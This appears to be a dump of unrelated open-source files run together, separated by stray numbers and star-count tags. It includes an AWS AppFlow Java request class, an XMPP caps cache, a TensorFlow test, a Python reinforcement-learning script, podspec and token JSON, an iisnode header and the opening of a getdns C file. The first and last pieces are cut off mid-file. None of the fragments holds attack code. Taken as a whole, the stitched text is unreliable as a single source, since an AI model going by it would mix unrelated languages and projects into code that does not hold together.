destination connector. * </p> * * @param destinationFlowConfigList * The configuration that controls how Amazon AppFlow transfers data to the destination connector. * @return Returns a reference to this object so that method calls can be chained together. */ public UpdateFlowRequest withDestinationFlowConfigList(java.util.Collection<DestinationFlowConfig> destinationFlowConfigList) { setDestinationFlowConfigList(destinationFlowConfigList); return this; } /** * <p> * A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. * </p> * * @return A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. */ public java.util.List<Task> getTasks() { return tasks; } /** * <p> * A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. * </p> * * @param tasks * A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. */ public void setTasks(java.util.Collection<Task> tasks) { if (tasks == null) { this.tasks = null; return; } this.tasks = new java.util.ArrayList<Task>(tasks); } /** * <p> * A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. * </p> * <p> * <b>NOTE:</b> This method appends the values to the existing list (if any). Use * {@link #setTasks(java.util.Collection)} or {@link #withTasks(java.util.Collection)} if you want to override the * existing values. * </p> * * @param tasks * A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. * @return Returns a reference to this object so that method calls can be chained together. */ public UpdateFlowRequest withTasks(Task... tasks) { if (this.tasks == null) { setTasks(new java.util.ArrayList<Task>(tasks.length)); } for (Task ele : tasks) { this.tasks.add(ele); } return this; } /** * <p> * A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. * </p> * * @param tasks * A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. * @return Returns a reference to this object so that method calls can be chained together. */ public UpdateFlowRequest withTasks(java.util.Collection<Task> tasks) { setTasks(tasks); return this; } /** * Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be * redacted from this string using a placeholder value. * * @return A string representation of this object. * * @see java.lang.Object#toString() */ @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append("{"); if (getFlowName() != null) sb.append("FlowName: ").append(getFlowName()).append(","); if (getDescription() != null) sb.append("Description: ").append(getDescription()).append(","); if (getTriggerConfig() != null) sb.append("TriggerConfig: ").append(getTriggerConfig()).append(","); if (getSourceFlowConfig() != null) sb.append("SourceFlowConfig: ").append(getSourceFlowConfig()).append(","); if (getDestinationFlowConfigList() != null) sb.append("DestinationFlowConfigList: ").append(getDestinationFlowConfigList()).append(","); if (getTasks() != null) sb.append("Tasks: ").append(getTasks()); sb.append("}"); return sb.toString(); } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (obj instanceof UpdateFlowRequest == false) return false; UpdateFlowRequest other = (UpdateFlowRequest) obj; if (other.getFlowName() == null ^ this.getFlowName() == null) return false; if (other.getFlowName() != null && other.getFlowName().equals(this.getFlowName()) == false) return false; if (other.getDescription() == null ^ this.getDescription() == null) return false; if (other.getDescription() != null && other.getDescription().equals(this.getDescription()) == false) return false; if (other.getTriggerConfig() == null ^ this.getTriggerConfig() == null) return false; if (other.getTriggerConfig() != null && other.getTriggerConfig().equals(this.getTriggerConfig()) == false) return false; if (other.getSourceFlowConfig() == null ^ this.getSourceFlowConfig() == null) return false; if (other.getSourceFlowConfig() != null && other.getSourceFlowConfig().equals(this.getSourceFlowConfig()) == false) return false; if (other.getDestinationFlowConfigList() == null ^ this.getDestinationFlowConfigList() == null) return false; if (other.getDestinationFlowConfigList() != null && other.getDestinationFlowConfigList().equals(this.getDestinationFlowConfigList()) == false) return false; if (other.getTasks() == null ^ this.getTasks() == null) return false; if (other.getTasks() != null && other.getTasks().equals(this.getTasks()) == false) return false; return true; } @Override public int hashCode() { final int prime = 31; int hashCode = 1; hashCode = prime * hashCode + ((getFlowName() == null) ? 0 : getFlowName().hashCode()); hashCode = prime * hashCode + ((getDescription() == null) ? 0 : getDescription().hashCode()); hashCode = prime * hashCode + ((getTriggerConfig() == null) ? 0 : getTriggerConfig().hashCode()); hashCode = prime * hashCode + ((getSourceFlowConfig() == null) ? 0 : getSourceFlowConfig().hashCode()); hashCode = prime * hashCode + ((getDestinationFlowConfigList() == null) ? 0 : getDestinationFlowConfigList().hashCode()); hashCode = prime * hashCode + ((getTasks() == null) ? 0 : getTasks().hashCode()); return hashCode; } @Override public UpdateFlowRequest clone() { return (UpdateFlowRequest) super.clone(); } }
5,398
3,442
<gh_stars>1000+ /* * Copyright @ 2018 - present 8x8, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package net.java.sip.communicator.impl.protocol.jabber.caps; import net.java.sip.communicator.util.*; import org.jitsi.service.configuration.*; import org.jivesoftware.smack.provider.*; import org.jivesoftware.smackx.caps.cache.*; import org.jivesoftware.smackx.disco.packet.*; import org.jxmpp.jid.*; import org.xmlpull.mxp1.*; import org.xmlpull.v1.*; import java.io.*; /** * Simple implementation of an EntityCapsPersistentCache that uses a the * configuration service to store the Caps information for every known node. * * @author <NAME> */ public class CapsConfigurationPersistence implements EntityCapsPersistentCache { /** * The <tt>Logger</tt> used by the <tt>CapsConfigurationPersistence</tt> * class and its instances for logging output. */ private static final Logger logger = Logger.getLogger(CapsConfigurationPersistence.class); /** * Configuration service instance used by this class. */ private ConfigurationService configService; /** * The prefix of the <tt>ConfigurationService</tt> properties which persist. */ private static final String CAPS_PROPERTY_NAME_PREFIX = "net.java.sip.communicator.impl.protocol.jabber.extensions.caps." + "EntityCapsManager.CAPS."; /** * Constructs new CapsConfigurationPersistence that will be responsible * for storing and retrieving caps in the config service. * @param configService the current configuration service. */ public CapsConfigurationPersistence(ConfigurationService configService) { this.configService = configService; } @Override public void addDiscoverInfoByNodePersistent(String nodeVer, DiscoverInfo info) { cleanupDiscoverInfo(info); /* * DiscoverInfo carries the node we're now associating it with a * specific node so we'd better keep them in sync. */ info.setNode(nodeVer); /* * If the specified info is a new association for the specified * node, remember it across application instances in order to not * query for it over the network. */ String xml = info.getChildElementXML().toString(); if ((xml != null) && (xml.length() != 0)) { this.configService .setProperty( CAPS_PROPERTY_NAME_PREFIX + nodeVer, xml); } } /** * Removes from, to and packet-id from <tt>info</tt>. * * @param info the {@link DiscoverInfo} that we'd like to cleanup. */ private static void cleanupDiscoverInfo(DiscoverInfo info) { info.setFrom((Jid) null); info.setTo((Jid) null); info.setStanzaId(null); } @Override public DiscoverInfo lookup(String nodeVer) { DiscoverInfo discoverInfo = null; String capsPropertyName = CAPS_PROPERTY_NAME_PREFIX + nodeVer; String xml = this.configService.getString(capsPropertyName); if((xml != null) && (xml.length() != 0)) { IQProvider discoverInfoProvider = ProviderManager.getIQProvider( "query", "http://jabber.org/protocol/disco#info"); if(discoverInfoProvider != null) { XmlPullParser parser = new MXParser(); try { parser.setFeature( XmlPullParser.FEATURE_PROCESS_NAMESPACES, true); parser.setInput(new StringReader(xml)); // Start the parser. parser.next(); } catch(XmlPullParserException xppex) { parser = null; } catch(IOException ioex) { parser = null; } if(parser != null) { try { discoverInfo = (DiscoverInfo) discoverInfoProvider.parse(parser); } catch(Exception ex) { logger.error( "Invalid DiscoverInfo for " + nodeVer + ": " + discoverInfo); /* * The discoverInfo doesn't seem valid * according to the caps which means that we * must have stored invalid information. * Delete the invalid information in order * to not try to validate it again. */ this.configService.removeProperty( capsPropertyName); } } } } return discoverInfo; } @Override public void emptyCache() {} }
2,669
377
<gh_stars>100-1000 /******************************************************************************* * * Copyright 2012 Impetus Infotech. * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. ******************************************************************************/ package com.impetus.kundera.metadata.model.type; import javax.persistence.metamodel.EmbeddableType; import javax.persistence.metamodel.ManagedType; import javax.persistence.metamodel.Type; /** * Default implementation of {@link EmbeddableType} * * <code> DefaultEmbeddableType</code> implements <code>EmbeddableType</code> * interface, invokes constructor with PersistenceType.EMBEDDABLE. Default * implementation of {@link Type} interface is provided by {@link AbstractType} * * @author vivek.mishra * @param <X> * Embeddable generic java type. */ public class DefaultEmbeddableType<X> extends AbstractManagedType<X> implements EmbeddableType<X> { /** * Default constructor using fields. */ public DefaultEmbeddableType(Class<X> clazz, javax.persistence.metamodel.Type.PersistenceType persistenceType, ManagedType<? super X> superClazzType) { super(clazz, persistenceType, superClazzType); } }
542
304
# Copyright 2021-2022 NVIDIA Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from itertools import permutations import numpy as np import pytest import cunumeric as cn def _sum(shape, axis, lib, dtype=None): return lib.ones(shape).sum(axis=axis, dtype=dtype) # Try various non-square shapes, to nudge the core towards trying many # different partitionings. @pytest.mark.parametrize("axis", range(3), ids=str) @pytest.mark.parametrize("shape", permutations((3, 4, 5)), ids=str) def test_3d(shape, axis): assert np.array_equal(_sum(shape, axis, np), _sum(shape, axis, cn)) assert np.array_equal( _sum(shape, axis, np, dtype="D"), _sum(shape, axis, cn, dtype="D") ) if __name__ == "__main__": import sys sys.exit(pytest.main(sys.argv))
426
335
{ "word": "Lure", "definitions": [ "Something that tempts or is used to tempt a person or animal to do something.", "The strongly attractive quality of a person or thing.", "A type of bait used in fishing or hunting.", "A bunch of feathers with a piece of meat attached to a long string, swung around the head of the falconer to recall a hawk." ], "parts-of-speech": "Noun" }
145
841
package org.jboss.resteasy.test.resource.path.resource; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.Response; import java.util.List; @Path("nomedia") public class ResourceMatchingNoMediaResource { @GET @Path("list") public List<String> serializable() { return java.util.Collections.singletonList("AA"); } @GET @Path("responseoverride") public Response overrideNoProduces() { return Response.ok("<a>responseoverride</a>") .type(MediaType.APPLICATION_XML_TYPE).build(); } @GET @Path("nothing") public ResourceMatchingStringBean nothing() { return new ResourceMatchingStringBean("nothing"); } @GET @Path("response") public Response response() { return Response.ok(nothing()).build(); } }
318
379
<reponame>pqros/graph_comb_opt import numpy as np import networkx as nx import cPickle as cp import random import ctypes import os import sys from tqdm import tqdm sys.path.append( '%s/setcover_lib' % os.path.dirname(os.path.realpath(__file__)) ) from setcover_lib import SetCoverLib sys.path.append( '%s/../memetracker' % os.path.dirname(os.path.realpath(__file__)) ) from meme import * nvalid = 100 def gen_new_graphs(opt): print 'generating new training graphs' sys.stdout.flush() api.ClearTrainGraphs() for i in tqdm(range(100)): g = get_scp_graph(g_undirected, float(opt['pq'])) api.InsertGraph(g, is_test=False) def PrepareValidData(opt): print 'generating validation graphs' sys.stdout.flush() f = open(opt['data_test'], 'rb') for i in tqdm(range(nvalid)): g = cp.load(f) api.InsertGraph(g, is_test=True) if __name__ == '__main__': api = SetCoverLib(sys.argv) opt = {} for i in range(1, len(sys.argv), 2): opt[sys.argv[i][1:]] = sys.argv[i + 1] g_undirected, _ = build_full_graph('%s/InfoNet5000Q1000NEXP.txt' % opt['data_root'],'undirected') PrepareValidData(opt) # startup gen_new_graphs(opt) for i in range(10): api.lib.PlayGame(100, ctypes.c_double(1.0)) api.TakeSnapshot() eps_start = 1.0 eps_end = 0.05 eps_step = 10000.0 for iter in range(int(opt['max_iter'])): if iter and iter % 5000 == 0: gen_new_graphs(opt) eps = eps_end + max(0., (eps_start - eps_end) * (eps_step - iter) / eps_step) if iter % 10 == 0: api.lib.PlayGame(10, ctypes.c_double(eps)) if iter % 300 == 0: frac = 0.0 for idx in range(nvalid): frac += api.lib.Test(idx) print 'iter', iter, 'eps', eps, 'average size of cover: ', frac / nvalid sys.stdout.flush() model_path = '%s/pq-%s_iter_%d.model' % (opt['save_dir'], opt['pq'], iter) api.SaveModel(model_path) if iter % 500 == 0: api.TakeSnapshot() api.lib.Fit()
1,015
2,863
<filename>spock-core/src/main/java/org/spockframework/runtime/extension/builtin/PendingFeatureBaseInterceptor.java package org.spockframework.runtime.extension.builtin; import org.opentest4j.TestAbortedException; /** * @author <NAME> */ public class PendingFeatureBaseInterceptor { protected final Class<? extends Throwable>[] expectedExceptions; protected final String reason; protected final String annotationUsed; public PendingFeatureBaseInterceptor(Class<? extends Throwable>[] expectedExceptions, String reason, String annotationUsed) { this.expectedExceptions = expectedExceptions; this.reason = reason; this.annotationUsed = annotationUsed; } protected boolean isExpected(Throwable e) { for (Class<? extends Throwable> exception : expectedExceptions) { if(exception.isInstance(e)) { return true; } } return false; } protected PendingFeatureSuccessfulError featurePassedUnexpectedly(StackTraceElement[] stackTrace) { PendingFeatureSuccessfulError assertionError = new PendingFeatureSuccessfulError("Feature is marked with " + annotationUsed + " but passes unexpectedly"); if (stackTrace != null) { assertionError.setStackTrace(stackTrace); } return assertionError; } protected TestAbortedException testAborted(StackTraceElement[] stackTrace) { TestAbortedException testAbortedException = new TestAbortedException("Feature not yet implemented correctly." + ("".equals(reason) ? "" : " Reason: " + reason)); testAbortedException.setStackTrace(stackTrace); return testAbortedException; } }
483
682
#ifndef VTR_GEOMETRY_H #define VTR_GEOMETRY_H #include "vtr_range.h" #include "vtr_assert.h" #include <cstdio> // vtr_geometry.tpp uses printf() #include <vector> #include <tuple> #include <limits> #include <type_traits> /** * @file * @brief This file include differents different geometry classes */ namespace vtr { /* * Forward declarations */ template<class T> class Point; template<class T> class Rect; template<class T> class Line; template<class T> class RectUnion; template<class T> bool operator==(Point<T> lhs, Point<T> rhs); template<class T> bool operator!=(Point<T> lhs, Point<T> rhs); template<class T> bool operator<(Point<T> lhs, Point<T> rhs); template<class T> bool operator==(const Rect<T>& lhs, const Rect<T>& rhs); template<class T> bool operator!=(const Rect<T>& lhs, const Rect<T>& rhs); template<class T> bool operator==(const RectUnion<T>& lhs, const RectUnion<T>& rhs); template<class T> bool operator!=(const RectUnion<T>& lhs, const RectUnion<T>& rhs); /* * Class Definitions */ /** * @brief A point in 2D space * * This class represents a point in 2D space. Hence, it holds both * x and y components of the point. */ template<class T> class Point { public: //Constructors Point(T x_val, T y_val) noexcept; public: //Accessors ///@brief x coordinate T x() const; ///@brief y coordinate T y() const; ///@brief == operator friend bool operator== <>(Point<T> lhs, Point<T> rhs); ///@brief != operator friend bool operator!= <>(Point<T> lhs, Point<T> rhs); ///@brief < operator friend bool operator< <>(Point<T> lhs, Point<T> rhs); public: //Mutators ///@brief Set x and y values void set(T x_val, T y_val); ///@brief set x value void set_x(T x_val); ///@brief set y value void set_y(T y_val); ///@brief Swap x and y values void swap(); private: T x_; T y_; }; /** * @brief A 2D rectangle * * This class represents a 2D rectangle. It can be created with * its 4 points or using the bottom left and the top rights ones only */ template<class T> class Rect { public: //Constructors ///@brief default constructor Rect(); ///@brief construct using 4 vertex Rect(T left_val, T bottom_val, T right_val, T top_val); ///@brief construct using the bottom left and the top right vertex Rect(Point<T> bottom_left_val, Point<T> top_right_val); /** * @brief Constructs a rectangle that only contains the given point * * Rect(p1).contains(p2) => p1 == p2 * It is only enabled for integral types, because making this work for floating point types would be difficult and brittle. * The following line only enables the constructor if std::is_integral<T>::value == true */ template<typename U = T, typename std::enable_if<std::is_integral<U>::value>::type...> Rect(Point<U> point); public: //Accessors ///@brief xmin coordinate T xmin() const; ///@brief xmax coordinate T xmax() const; ///@brief ymin coodrinate T ymin() const; ///@brief ymax coordinate T ymax() const; ///@brief Return the bottom left point Point<T> bottom_left() const; ///@brief Return the top right point Point<T> top_right() const; ///@brief Return the rectangle width T width() const; ///@brief Return the rectangle height T height() const; ///@brief Returns true if the point is fully contained within the rectangle (excluding the top-right edges) bool contains(Point<T> point) const; ///@brief Returns true if the point is strictly contained within the region (excluding all edges) bool strictly_contains(Point<T> point) const; ///@brief Returns true if the point is coincident with the rectangle (including the top-right edges) bool coincident(Point<T> point) const; ///@brief Returns true if other is contained within the rectangle (including all edges) bool contains(const Rect<T>& other) const; /** * @brief Checks whether the rectangle is empty * * Returns true if no points are contained in the rectangle * rect.empty() => not exists p. rect.contains(p) * This also implies either the width or height is 0. */ bool empty() const; ///@brief == operator friend bool operator== <>(const Rect<T>& lhs, const Rect<T>& rhs); ///@brief != operator friend bool operator!= <>(const Rect<T>& lhs, const Rect<T>& rhs); public: //Mutators ///@brief set xmin to a point void set_xmin(T xmin_val); ///@brief set ymin to a point void set_ymin(T ymin_val); ///@brief set xmax to a point void set_xmax(T xmax_val); ///@brief set ymax to a point void set_ymax(T ymax_val); ///@brief Equivalent to `*this = bounding_box(*this, other)` Rect<T>& expand_bounding_box(const Rect<T>& other); private: Point<T> bottom_left_; Point<T> top_right_; }; /** * @brief Return the smallest rectangle containing both given rectangles * * Note that this isn't a union and the resulting rectangle may include points not in either given rectangle */ template<class T> Rect<T> bounding_box(const Rect<T>& lhs, const Rect<T>& rhs); ///@brief Return the intersection of two given rectangles template<class T> Rect<T> intersection(const Rect<T>& lhs, const Rect<T>& rhs); //Prints a rectangle template<class T> static void print_rect(FILE* fp, const Rect<T> rect); //Sample on a uniformly spaced grid within a rectangle // sample(vtr::Rect(l, h), 0, 0, M) == l // sample(vtr::Rect(l, h), M, M, M) == h //To avoid the edges, use `sample(r, x+1, y+1, N+1) for x, y, in 0..N-1 //Only defined for integral types /** * @brief Sample on a uniformly spaced grid within a rectangle * * sample(vtr::Rect(l, h), 0, 0, M) == l * sample(vtr::Rect(l, h), M, M, M) == h * To avoid the edges, use `sample(r, x+1, y+1, N+1) for x, y, in 0..N-1 * Only defined for integral types */ template<typename T, typename std::enable_if<std::is_integral<T>::value>::type...> Point<T> sample(const vtr::Rect<T>& r, T x, T y, T d); ///@brief clamps v to be between low (lo) and high (hi), inclusive. template<class T> static constexpr const T& clamp(const T& v, const T& lo, const T& hi) { return std::min(std::max(v, lo), hi); } /** * @brief A 2D line * * It is constructed using a vector of the line points */ template<class T> class Line { public: //Types typedef typename std::vector<Point<T>>::const_iterator point_iter; typedef vtr::Range<point_iter> point_range; public: //Constructors ///@brief contructor Line(std::vector<Point<T>> line_points); public: //Accessors ///@brief Returns the bounding box Rect<T> bounding_box() const; ///@brief Returns a range of constituent points point_range points() const; private: std::vector<Point<T>> points_; }; ///@brief A union of 2d rectangles template<class T> class RectUnion { public: //Types typedef typename std::vector<Rect<T>>::const_iterator rect_iter; typedef vtr::Range<rect_iter> rect_range; public: //Constructors ///@brief Construct from a set of rectangles RectUnion(std::vector<Rect<T>> rects); public: //Accessors ///@brief Returns the bounding box of all rectangles in the union Rect<T> bounding_box() const; ///@brief Returns true if the point is fully contained within the region (excluding top-right edges) bool contains(Point<T> point) const; ///@brief Returns true if the point is strictly contained within the region (excluding all edges) bool strictly_contains(Point<T> point) const; ///@brief Returns true if the point is coincident with the region (including the top-right edges) bool coincident(Point<T> point) const; ///@brief Returns a range of all constituent rectangles rect_range rects() const; /** * @brief Checks whether two RectUnions have identical representations * * Note: does not check whether the representations they are equivalent */ friend bool operator== <>(const RectUnion<T>& lhs, const RectUnion<T>& rhs); ///@brief != operator friend bool operator!= <>(const RectUnion<T>& lhs, const RectUnion<T>& rhs); private: // Note that a union of rectanges may have holes and may not be contiguous std::vector<Rect<T>> rects_; }; } // namespace vtr #include "vtr_geometry.tpp" #endif
3,005
5,169
{ "name": "DTMHeatmap", "version": "1.0", "summary": "An MKMapView overlay to visualize location data", "homepage": "https://github.com/dataminr/DTMHeatmap", "license": "MIT", "authors": { "<NAME>": "<EMAIL>" }, "social_media_url": "http://twitter.com/moltman", "platforms": { "ios": null }, "source": { "git": "https://github.com/dataminr/DTMHeatmap.git", "tag": "1.0" }, "source_files": [ "*.{h,m}", "Heatmaps/*", "Color Providers/*" ], "requires_arc": true }
226
852
/* * Tests for loading meta graphs via the SavedModel interface. * Based on TensorFlow 2.1. * For more info, see https://gitlab.cern.ch/mrieger/CMSSW-DNN. * * Author: <NAME> */ #include <stdexcept> #include <cppunit/extensions/HelperMacros.h> #include "PhysicsTools/TensorFlow/interface/TensorFlow.h" #include "testBase.h" class testMetaGraphLoading : public testBase { CPPUNIT_TEST_SUITE(testMetaGraphLoading); CPPUNIT_TEST(checkAll); CPPUNIT_TEST_SUITE_END(); public: std::string pyScript() const override; void checkAll() override; }; CPPUNIT_TEST_SUITE_REGISTRATION(testMetaGraphLoading); std::string testMetaGraphLoading::pyScript() const { return "creategraph.py"; } void testMetaGraphLoading::checkAll() { std::string exportDir = dataPath_ + "/simplegraph"; // load the graph tensorflow::setLogging(); tensorflow::MetaGraphDef* metaGraphDef = tensorflow::loadMetaGraphDef(exportDir); CPPUNIT_ASSERT(metaGraphDef != nullptr); // create a new, empty session tensorflow::Session* session1 = tensorflow::createSession(); CPPUNIT_ASSERT(session1 != nullptr); // create a new session, using the meta graph tensorflow::Session* session2 = tensorflow::createSession(metaGraphDef, exportDir); CPPUNIT_ASSERT(session2 != nullptr); // check for exception CPPUNIT_ASSERT_THROW(tensorflow::createSession(nullptr, exportDir), cms::Exception); // example evaluation tensorflow::Tensor input(tensorflow::DT_FLOAT, {1, 10}); float* d = input.flat<float>().data(); for (size_t i = 0; i < 10; i++, d++) { *d = float(i); } tensorflow::Tensor scale(tensorflow::DT_FLOAT, {}); scale.scalar<float>()() = 1.0; std::vector<tensorflow::Tensor> outputs; tensorflow::Status status = session2->Run({{"input", input}, {"scale", scale}}, {"output"}, {}, &outputs); if (!status.ok()) { std::cout << status.ToString() << std::endl; CPPUNIT_ASSERT(false); } // check the output CPPUNIT_ASSERT(outputs.size() == 1); std::cout << outputs[0].DebugString() << std::endl; CPPUNIT_ASSERT(outputs[0].matrix<float>()(0, 0) == 46.); // run again using the convenience helper outputs.clear(); tensorflow::run(session2, {{"input", input}, {"scale", scale}}, {"output"}, &outputs); CPPUNIT_ASSERT(outputs.size() == 1); std::cout << outputs[0].DebugString() << std::endl; CPPUNIT_ASSERT(outputs[0].matrix<float>()(0, 0) == 46.); // check for exception CPPUNIT_ASSERT_THROW(tensorflow::run(session2, {{"foo", input}}, {"output"}, &outputs), cms::Exception); // cleanup CPPUNIT_ASSERT(tensorflow::closeSession(session1)); CPPUNIT_ASSERT(tensorflow::closeSession(session2)); delete metaGraphDef; }
973
336
{ "title": "Info.json - Spec Description", "keywords": "spec meta, template, specFile", "template": "doc" }
46
985
int x = 1; int y = 2; __attribute__((weak)) void myweak1() { } int foo() { myweak1(); return 1; } int foo1() { return x; } int foo2() { return y; }
81
764
{"symbol": "BVL","address": "0xe7d324B2677440608fb871981B220ECa062c3FbF","overview":{"en": "A platform to exchange and provide liquidity for ERC-20 tokens."},"email": "<EMAIL>","website": "https://bullswap.org/","state": "NORMAL","links": {"blog": "https://medium.com/@bullswap","twitter": "","telegram": "https://t.me/bullswapexchange","github": ""}}
124
5,169
<gh_stars>1000+ { "name": "MMFlowView", "version": "1.0.0", "summary": "A full featured CoverFlow view with similar functionality like IKImageBrowserView", "description": " MMFlowView is a class designed to support the \"CoverFlow\" effect and it is intended to use in a similar way like IKImageBrowserView.\n It supports all the image types (URLs, NSImage, Icons, QuartzComposerCompositions, QTMovie) as IKImageBrowserView.\n If you are familiar with IKImageBrowserView you can immediately start using MMFlowView.\n MMFlowView uses asynchronous image loading and caches the image content, trying to use as little memory as possible.\n It supports both image loading via a datasource or with Cocoa bindings. It is accessibility conforming,\n features drag&drop und quicklook preview. Its makes use of CoreAnimation to provide smooth and fast animations.\n", "homepage": "https://github.com/mmllr/MMFlowView", "screenshots": "https://github.com/mmllr/MMFlowView.git/Resources/FlowView.png", "license": "MIT", "authors": { "<NAME>": "<EMAIL>" }, "source": { "git": "https://github.com/mmllr/MMFlowView.git", "tag": "1.0.0" }, "social_media_url": "https://twitter.com/m_mlr", "platforms": { "osx": "10.7" }, "requires_arc": true, "source_files": "Classes/**/*.{h,m}", "ios": { "exclude_files": "Classes/osx" }, "osx": { "exclude_files": "Classes/ios" }, "exclude_files": "Classes/**/*Spec.{h,m}", "public_header_files": "Classes/MMFlowView.h", "frameworks": [ "Quartz", "QuartzCore", "QTKit" ], "dependencies": { "MMLayerAccessibility": [ "~> 0.1" ] } }
725
1,208
#ifndef __CPROTOCOLBRIDGE_H__ #define __CPROTOCOLBRIDGE_H__ class CNodeEventProvider; class CNodeHttpStoredContext; class CProtocolBridge { private: // utility static HRESULT PostponeProcessing(CNodeHttpStoredContext* context, DWORD dueTime); static HRESULT EnsureBuffer(CNodeHttpStoredContext* context); static HRESULT FinalizeResponseCore(CNodeHttpStoredContext * context, REQUEST_NOTIFICATION_STATUS status, HRESULT error, CNodeEventProvider* log, PCWSTR etw, UCHAR level); static BOOL IsLocalCall(IHttpContext* ctx); static BOOL SendDevError(CNodeHttpStoredContext* context, USHORT status, USHORT subStatus, PCTSTR reason, HRESULT hresult, BOOL disableCache = FALSE); static HRESULT AddDebugHeader(CNodeHttpStoredContext* context); // processing stages static void WINAPI ChildContextCompleted(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void WINAPI CreateNamedPipeConnection(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void SendHttpRequestHeaders(CNodeHttpStoredContext* context); static void WINAPI SendHttpRequestHeadersCompleted(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void ReadRequestBody(CNodeHttpStoredContext* context); static void WINAPI ReadRequestBodyCompleted(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void SendRequestBody(CNodeHttpStoredContext* context, DWORD chunkLength); static void WINAPI SendRequestBodyCompleted(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void StartReadResponse(CNodeHttpStoredContext* context); static void ContinueReadResponse(CNodeHttpStoredContext* context); static void WINAPI ProcessResponseStatusLine(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void WINAPI ProcessResponseHeaders(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void WINAPI ProcessChunkHeader(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void WINAPI ProcessResponseBody(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void WINAPI ProcessUpgradeResponse(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void WINAPI ContinueProcessResponseBodyAfterPartialFlush(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static void EnsureRequestPumpStarted(CNodeHttpStoredContext* context); static void FinalizeResponse(CNodeHttpStoredContext* context); static void FinalizeUpgradeResponse(CNodeHttpStoredContext* context, HRESULT hresult); public: static void WINAPI SendResponseBodyCompleted(DWORD error, DWORD bytesTransfered, LPOVERLAPPED overlapped); static HRESULT InitiateRequest(CNodeHttpStoredContext* context); static BOOL SendIisnodeError(IHttpContext* httpCtx, HRESULT hr); static BOOL SendIisnodeError(CNodeHttpStoredContext* ctx, HRESULT hr); static HRESULT SendEmptyResponse(CNodeHttpStoredContext* context, USHORT status, USHORT subStatus, PCTSTR reason, HRESULT hresult, BOOL disableCache = FALSE); static HRESULT SendSyncResponse(IHttpContext* httpCtx, USHORT status, PCTSTR reason, HRESULT hresult, BOOL disableCache, PCSTR htmlBody); static void SendEmptyResponse(IHttpContext* httpCtx, USHORT status, USHORT subStatus, PCTSTR reason, HRESULT hresult, BOOL disableCache = FALSE); static HRESULT SendDebugRedirect(CNodeHttpStoredContext* context, CNodeEventProvider* log); }; #endif
1,030
432
package us.parr.bookish.entity; import us.parr.bookish.translate.Translator; public class ChapQuoteDef extends EntityDef { public String quote; public String author; public ChapQuoteDef(String quote, String author) { super(0,null); this.quote = Translator.stripCurlies(quote); this.author = Translator.stripCurlies(author); } }
114
445
/** * * /brief getdns core functions for synchronous use * * Originally taken from the getdns API description pseudo implementation. * */ /* * Copyright (c) 2013, NLnet Labs, Verisign, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the names of the copyright holders nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL Verisign, Inc. BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <string.h> #include "getdns/getdns.h" #include "config.h" #include "context.h" #include 